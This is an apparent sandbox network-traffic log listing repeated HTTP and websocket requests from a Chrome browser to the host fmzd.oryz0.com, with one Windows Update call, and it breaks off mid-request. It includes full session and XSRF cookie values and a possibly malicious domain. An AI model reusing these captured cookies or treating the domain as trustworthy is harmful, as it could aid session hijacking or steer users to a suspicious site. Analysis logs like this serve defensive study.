Source: global traffic	HTTP traffic detected: GET /qrqHkBdf3yLyCoYX6uaAmMyA5ZEDG2fGZmnmukiIeb0S4uAmfsMp845136 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ghlTMvE4b8h9VqD9PHj478Jq41suklef17SOWERHgie6efNydg212202 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efsfnXL1mkSjhUqqyhqkpk4F8mijDEqazbDtkPlc578150 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qr20H0d35tQZAutTNiucMwy1MlHakR3YcrZo0tnYirWRstFyj2ubgC4wb4NxZpZ4YMOdXVmRQWDfa6Gcd237 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stngs7CSgQFKxZNNR0YNEgHCMncf0xkMwmn6oWjReIJLD3PlEosS75Ba75nXuef257 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klES0oQxnTwlNEPXlpWhEGCgQuaNvEYKtWepyzlTMJnMqfQIQ17GyYl87Kpzxg56163 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yz5tdqOr50ejUSGpe1C7HeYWSLmn2C5mz2MZ6g4GFMMA90180 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opLn8R2bvalouDZIsfJC2D675VU6q0KINughjnNSWNC6RbcDybd9dzpVqjMkI49Tavcd200 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ghlTMvE4b8h9VqD9PHj478Jq41suklef17SOWERHgie6efNydg212202 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qr20H0d35tQZAutTNiucMwy1MlHakR3YcrZo0tnYirWRstFyj2ubgC4wb4NxZpZ4YMOdXVmRQWDfa6Gcd237 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stngs7CSgQFKxZNNR0YNEgHCMncf0xkMwmn6oWjReIJLD3PlEosS75Ba75nXuef257 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: fmzd.oryz0.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://fmzd.oryz0.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3DSec-WebSocket-Key: LVFz4gN0nJWH0gZHuYmRDQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=EyWPgkl6brmHmv3&MD=UKBhH+X2 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: fmzd.oryz0.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://fmzd.oryz0.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3DSec-WebSocket-Key: 5CVdjiHE5TscPz1QUcVh6Q==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: fmzd.oryz0.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://fmzd.oryz0.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3DSec-WebSocket-Key: jj7u4HtOOc304gKqN10njw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: fmzd.oryz0.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://fmzd.oryz0.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 